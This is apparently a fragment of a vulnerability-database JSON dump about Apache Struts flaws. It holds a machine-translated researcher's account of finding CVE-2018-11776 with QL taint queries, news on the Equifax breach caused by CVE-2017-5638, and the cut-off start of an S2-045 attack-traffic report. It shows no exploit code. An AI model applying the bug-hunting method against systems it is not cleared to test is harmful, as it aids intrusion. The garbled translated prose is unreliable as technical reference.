[[3]](<93410_3.htm>) [[4]](<93410_4.htm>) [[5]](<93410_5.htm>) [[6]](<93410_6.htm>) [next](<93410_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2019-03-30T00:00:00", "type": "myhack58", "title": "Apache Struts OGNL injection vulnerability principle with an example-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2019-03-30T00:00:00", "id": "MYHACK58:62201993410", "href": "http://www.myhack58.com/Article/html/3/62/2019/93410.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-23T14:31:31", "description": "! [](/Article/UploadPic/2018-8/2018823153022212.jpg) \n2018 4 months, I to Apache Struts and the Struts security team reported a new remote code execution vulnerability--CVE-2018-11776\uff08S2-057 in to do some configuration on a server running Struts, and can be accessed via the carefully constructed URL to trigger the vulnerability. This discovery is I the Apache Struts ongoing Safety study of part. In this article, I will describe my discovery of a vulnerability and how to exploit the previous vulnerability information to get the Struts internal working of the principle, create a package Struts-specific concept of the QL query. Run these queries will highlight the problematic code results. These works are hosted on GitHub, later we will also to this repository add more query statement and database to help the Struts and other projects of the security research. \n\nMapping the attack surface \nMany security vulnerabilities are addressed from untrusted sources such as user input stream to a particular location of the sink of the data, and the data using an unsafe way-for example, the SQL query, deserialize, and some other interpreted languages, etc., QL can easily search for such vulnerabilities. You just need to describe the various source and sink, and then let the DataFlow library to accomplish these things. For a particular project, began to investigate such issues, a good method is to view the older version of the software known vulnerabilities. This can be in-depth understanding you want to find the source and sink points. \nThis vulnerability discovery process, I first see a RCE vulnerability S2-032\uff08CVE-2016-3081\uff09, S2-033\uff08CVE-2016-3687 and S2-037\uff08CVE-2016-4438-in. With Struts in many other RCE as RCE relates to the untrusted input is converted to OGNL expressions, allowing an attacker on the server to run arbitrary code. These three vulnerabilities are particularly interesting, not only do they let us on the Struts of the internal working mechanism have some understanding, and these three vulnerabilities actually is the same, also repair three back! \nThese three issues are the remote input through the variable methodName as a method of parameter passing caused OgnlUtil::getValue(). \n! [](/Article/UploadPic/2018-8/2018823153022696. png) \nHere the proxy has ActionProxy type, it is an interface. Note that the definition of it, in addition to the method getMethod\uff08\uff09\uff08in the above code is used to assign a value to the variable methodName addition, there are a variety of methods, such as getActionName\uff08\uff09and getNamespace\uff08\uff09\u3002 These methods look like from the URL to return information, so I'll just assume that all of these methods may return untrusted input. The rear of the article I will in depth research I for these the input from where the investigation.\uff09 \nNow use QL to start on these untrusted source modeling: \n! [](/Article/UploadPic/2018-8/2018823153023567. png) \n\nIdentify the OGNL sink point \nNow that we have identified and described some of the non-trusted source, the next step is to sink the point of doing the same thing. As previously mentioned, many of Struts RCE relates to the remote input parsed for OGNL expressions. Struts has many function will eventually be their arguments as OGNL expressions; for we in this article the start of the three vulnerabilities, the use of a OgnlUtil :: getValue \uff08\uff09, but in the vulnerability S2-045\uff08CVE-2017-5638, using TextParseUtil :: translateVariables\uff08\uff09\u3002 We may be looking for execution of OGNL expressions commonly used function, I feel OgnlUtil :: compileAndExecute\uff09and OgnlUtl :: compileAndExecuteMethod\uff08\uff09looks more games. \nMy description: \n! [](/Article/UploadPic/2018-8/2018823153023415. png) \n\nThe first attempt \nNow we have in QL are defined in the source and sink, we can stain the tracking query using these definitions. By defining DataFlow configured to use the DataFlow library: \n! [](/Article/UploadPic/2018-8/2018823153023702. png) \nHere is what I used before defined isActionProxySource and isOgnlSink it. \nNote that I'm here to reload the isAdditionalFlowStep, so that it can allow me to contain the pollution data is propagated to the additional step. Such as allow me to the project-specific information into the flow configuration. For example, if I have by a network of communicating components, I may be in QL as described in those various network-side code is what allows the DataFlow library to track tainted data. \nFor this particular query, I added two additional process steps for the DataFlow library. First: \n! [](/Article/UploadPic/2018-8/2018823153026173. png) \nIt includes tracking the standard Java library calls, string manipulation, etc. of the standard QL TaintTracking library steps. The second Add is an approximate value, allow me to by a field access track tainted data: \n! [](/Article/UploadPic/2018-8/2018823153026186. png) \nThat is if the field is assigned a tainted value, then as long as the two expressions are the same type of method call, the field visit will also be regarded as pollution. See the following example: \n! [](/Article/UploadPic/2018-8/2018823153026144. png) \nSeen from above, the bar in this. field access may not always be contaminated. For example, if in the bar before not to call foo\uff08\uff09\u3002 Therefore, we are not in the default DataFlow :: Configuration contained in this step, because you cannot guarantee that the data always in this manner the flow, however, for digging vulnerabilities, I think adding this very useful. In later posts I will share some of the similar to the other process steps, these steps for find the bug helpful, but for similar reasons, the default case is not included these steps. \n\nThe initial results and Refine the query \nI'm on the latest version of the source code on the run a bit with QL, found that due to the S2-032, S2-033 S2-037 is still marked. These vulnerabilities obviously already been fixed, why still will be reported problem? \n\n\n**[1] [[2]](<91264_2.htm>) [[3]](<91264_3.htm>) [next](<91264_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "S2-057 vulnerability in the original author's README: how to use automated tools find 5 RCE-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4438", "CVE-2017-5638", "CVE-2018-11776", "CVE-2016-3687", "CVE-2016-3081"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891264", "href": "http://www.myhack58.com/Article/html/3/62/2018/91264.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "threatpost": [{"lastseen": "2020-04-11T11:42:25", "description": "Equifax will pay as much as $700 million to settle federal and state investigations on the heels of its infamous 2017 breach, which exposed the data of almost 150 million customers.\n\nThe consumer credit reporting agency on Monday [said](<https://investor.equifax.com/news-and-events/news/2019/07-22-2019-125543228>) it will dish out $300 million to cover free credit monitoring services for impacted consumers, $175 million to 48 states in the U.S, and $100 million in civil penalties to the Consumer Financial Protection Bureau (CFPB). If the initial amount does not cover consumer losses, the company may need to pay an additional $125 million.\n\n\u201cCompanies that profit from personal information have an extra responsibility to protect and secure that data,\u201d said Federal Trade Commission (FTC) Chairman Joe Simons [in a statement](<https://www.ftc.gov/news-events/press-releases/2019/07/equifax-pay-575-million-part-settlement-ftc-cfpb-states-related?utm_source=slider>). \u201cEquifax failed to take basic steps that may have prevented the breach that affected approximately 147 million consumers. This settlement requires that the company take steps to improve its data security going forward, and will ensure that consumers harmed by this breach can receive help protecting themselves from identity theft and fraud.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nEquifax, which handles data associated with more than 820 million customers and 91 million businesses worldwide, has been under public scrutiny since September 2017 when [it disclosed](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) a data breach that impacted almost 150 million Americans. The attackers managed to [access information](<https://threatpost.com/equifax-data-nation-state/141929/>) containing Social Security numbers, birth dates, addresses, and some driver\u2019s license numbers. Equifax said it discovered the intrusion on July 29, meaning attackers apparently had access to the company\u2019s files for nearly 12 weeks.\n\nAfter the data breach, Equifax was hit by multiple lawsuits, as well as investigations by the FTC, the CFPB, the Attorneys General of 48 states, and more.\n\n[![Equifax FTC](https://media.threatpost.com/wp-content/uploads/sites/103/2019/07/22101929/eqfx-socmed-summary-300x188.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/07/22101929/eqfx-socmed-summary.png>)\n\nLawsuits claimed that Equifax failed to patch its network in March 2017 after being alerted of a [critical security flaw](<https://threatpost.com/equifax-adds-2-4-million-more-people-to-list-of-those-impacted-by-2017-breach/130209/>) (an Apache Struts vulnerability, CVE-2017-5638) in its Equifax Automated Consumer Interview System database (which handles inquiries from consumers about their personal credit data). This vulnerability was ultimately exploited by bad actors, leading to the data breach.\n\nAs part of the agreement, Equifax also said it will take steps to enhance its information security and technology program, as well as make payments totaling $290.5 million to state and federal regulatory agencies to pay attorneys\u2019 fees and costs in the multi-district litigation.\n\nIn the past month, a slew of fines and penalties have been imposed that were tied privacy and data breach incidents. Earlier in July, the [FTC slapped](<https://threatpost.com/privacy-experts-facebooks-5b-fine/146478/>) a $5 billion fine on Facebook for privacy violations following its Cambridge Analytica incident. Also hit with security-related fines in July were [Marriott](<https://threatpost.com/marriott-123m-fine-data-breach/146320/>) ($123 million) and [British Airways](<https://threatpost.com/post-data-breach-british-airways-slapped-with-record-230m-fine/146272/>) ($230 million).\n\nWhile opinions are mixed about the appropriate penalty for these companies and Equifax, security experts for their part hope that other companies will take note of the fines when it comes to data security and privacy.\n\n\u201cI\u2019m far from an Equifax apologist, but the truth is it could have been anyone,\u201d Adam Laub, chief marketing officer at STEALTHbits Technologies said in an email. \u201cIt\u2019s not an excuse, but rather the reality we live in. The best outcome isn\u2019t Equifax making the situation right \u2013 although that is important for all of those affected \u2013 it\u2019s everyone else learning that the price to be paid outweighs the inconvenience of ensuring proper measures are taken to secure the data that puts them at risk in the first place. And it\u2019s got to be from the ground up too. There\u2019s no silver bullet.\u201d\n\n**_Interested in more on patch management? Don\u2019t miss our free live _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/1579496132196807171?source=ART>)**_, \u201c_****_Streamlining Patch Management,\u201d on Wed., July 24, at 2:00 p.m. EDT. Please join Threatpost editor Tom Spring and a panel of patch experts as they discuss the latest trends in Patch Management, how to find the right solution for your business and what the biggest challenges are when it comes to deploying a program. _****_[Register and Learn More](<https://attendee.gotowebinar.com/register/1579496132196807171?source=ART>)_**\n", "cvss3": {}, "published": "2019-07-22T14:31:39", "type": "threatpost", "title": "Equifax to Pay $700 Million in 2017 Data Breach Settlement", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2019-07-22T14:31:39", "id": "THREATPOST:5ADABEB29891532ECFF2D6ABD99CAED4", "href": "https://threatpost.com/equifax-to-pay-700-million-in-2017-data-breach-settlement/146579/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-01-23T05:28:31", "description": "Equifax, the credit agency behind this summer\u2019s breach of 143 million Americans, said this week the number of victims implicated in the breach has increased.\n\nPaulino do Rego Barros, Jr., the company\u2019s interim CEO, [announced Monday](<https://www.equifaxsecurity2017.com/>) that 2.5 million additional Americans were also impacted, bringing the grand total to 145.5 million affected individuals.\n\nEquifax initially called its investigation around the breach \u201csubstantially complete,\u201d but said it was still carrying out further analysis with Mandiant, a FireEye company it hired to investigate the breach, on the incident. According to Equifax, investigators didn\u2019t find any additional vulnerabilities. The extra 2.5 million Americans figure came \u201cduring Mandiant\u2019s completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\u201d\n\nThe company used the opportunity on Monday to reiterate that Canadian citizens were also impacted, although far fewer than initially thought. The company said there may have been up to 100,000 Canadians affected several weeks ago however upon closer inspection, only 8,000 Canadian consumers were affected by the breach.\n\nEquifax says its still analyzing exactly how many United Kingdom consumers have been affected by the breach and is in the middle discussions with regulators to determine how to notify them.\n\nDetails about the breach came out the day before Richard Smith, Equifax\u2019s former CEO, was scheduled to testify about the breach before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection. Smith, former Equifax chairman and chief executive, [retired last Tuesday](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>) in wake of the breach.\n\nIn a [written testimony (.PDF)](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) released in tandem with the subcommittee hearing, Smith blamed the breach on a combination of \u201chuman error and technology failures.\u201d\n\n\u201cThese mistakes \u2013 made in the same chain of security systems designed with redundancies \u2013 allowed criminals to access over 140 million Americans\u2019 data,\u201d Smith wrote.\n\nIn the testimony Smith claimed that the U.S. Department of Homeland Security\u2019s Computer Emergency Readiness Team (U.S. CERT) notified Equifax on March 8 that [it needed to patch CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>), the Apache Struts vulnerability that eventually led to the hack.\n\nEquifax requested the \u201capplicable personnel responsible\u201d update Apache Struts via email on March 9, something that should have been done within a 48 hour period, Smith said.\n\nThat was never done and according to Smith, the vulnerability wasn\u2019t picked up by internal scans designed to identify vulnerable systems carried out on March 15. The issue lingered for roughly two months until attackers accessed Equifax\u2019s systems on May 13 \u2013 and persisted until the company became aware of the attackers on July 30.\n\nGreg Walden (R-Ore.) pointed out some of Equifax\u2019s many missteps on Tuesday morning, including how Equifax\u2019s consumer facing website for the breach was put hosted on a separate domain from the main Equifax website, the confusion that spawned, and how on multiple occasions Equifax directed users to the wrong website.\n\n\u201cOn top of all the other issues, multiple times Equifax tweeted the wrong URL directing consumers to the wrong website to check if they were part of a breach,\u201d Walden said, \u201cTalk about ham-handed responses this is simply unacceptable and it makes me wonder if there was a breach response plan in place at all and if anyone was in charge of executing that plan.\u201d\n\nDuring another part of the hearing, Tim Murphy, a U.S. representative for Pennsylvania\u2019s 18th Congressional district, came back to that question. When told the company\u2019s original site couldn\u2019t handle the traffic is received, Murphy was befuddled.\n\n\u201cWhy wouldn\u2019t your website be able to handle this kind of traffic?\u201d Murphy asked, \u201cIt just doesn\u2019t make sense, a company your size and with your knowledge, doesn\u2019t understand how to handle traffic for over 100 million people, don\u2019t you use an Elastic cloud computing service that would\u2019ve accounted for this?\u201d\n\nSmith said the sheer amount of traffic Equifax\u2019s site received in wake of the breach made hosting a site on its domain impossible.\n\n\u201cThe environment the micro site is in is a cloud environment that\u2019s very, very scalable,\u201d Smith said. \u201cOur traditional environment could not handle 400 million consumer visits for three weeks.\u201d\n\nMurphy also grilled Smith on what took Equifax so long to patch the March vulnerability and if it\u2019s possible Equifax\u2019s internal scanning system could potentially miss another vulnerability.\n\n\u201cIf the patch only took a few days to apply why did Equifax fail to apply it in March when it was announced as critical?\u201d Murphy asked.\n\nSmith skirted the question and instead discussed the difficulties associated with patching.\n\n\u201cPatching can take a variety of time\u2026 it can take days or up to a week or more,\u201d Smith said, adding that he wasn\u2019t aware of the particular Struts vulnerability at the time.\n\nAt the end of the hearing, when pressed by Anna Eshoo, U.S. Representative for California\u2019s 18th congressional district, Smith described the process around patching again but did little to deviate from his prepared testimony.\n\n\u201cI want to know when they did it, when they took care of [the patch]\u201d Eshoo said.\n\n\u201cThey took care of it in July because we never found it,\u201d Smith said. \u201cWe had the human error, we did the scan, the technology never found it, in July we found suspicious activity, took the portal down, found the vulnerability, applied the patch.\u201d\n", "cvss3": {}, "published": "2017-10-03T15:27:08", "type": "threatpost", "title": "Equifax Says 145.5M Affected by Breach, Ex-CEO Testifies", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-10-03T15:27:08", "id": "THREATPOST:5E633FD1C6A5B5BB74F1B6A8399001A2", "href": "https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-10-06T22:53:58", "description": "Malicious traffic stemming from exploits against the [Apache Struts 2 vulnerability](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>) disclosed and [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) this week has tapered off since Wednesday.\n\nResearchers at Rapid7 published an [analysis](<https://community.rapid7.com/community/infosec/blog/2017/03/09/apache-jakarta-vulnerability-attacks-in-the-wild>) of data collected from its honeypots situated on five major cloud providers and a number of private networks that shows a couple of dozen sources have targeted this vulnerability, but only two, originating in China, have actually sent malicious commands.\n\nCisco Talos said on Thursday that attacks had [risen sharply](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) since word leaked of publicly available exploits and a [Metasploit module](<https://github.com/rapid7/metasploit-framework/issues/8064>). But it conceded that it was difficult to ascertain whether probes for vulnerable Apache servers could be carried out benignly.\n\nRapid7 said that in a 72-hour period starting Tue

The Struts S2-045 vulnerability heat analysis-vulnerability warning-the black bar safety net

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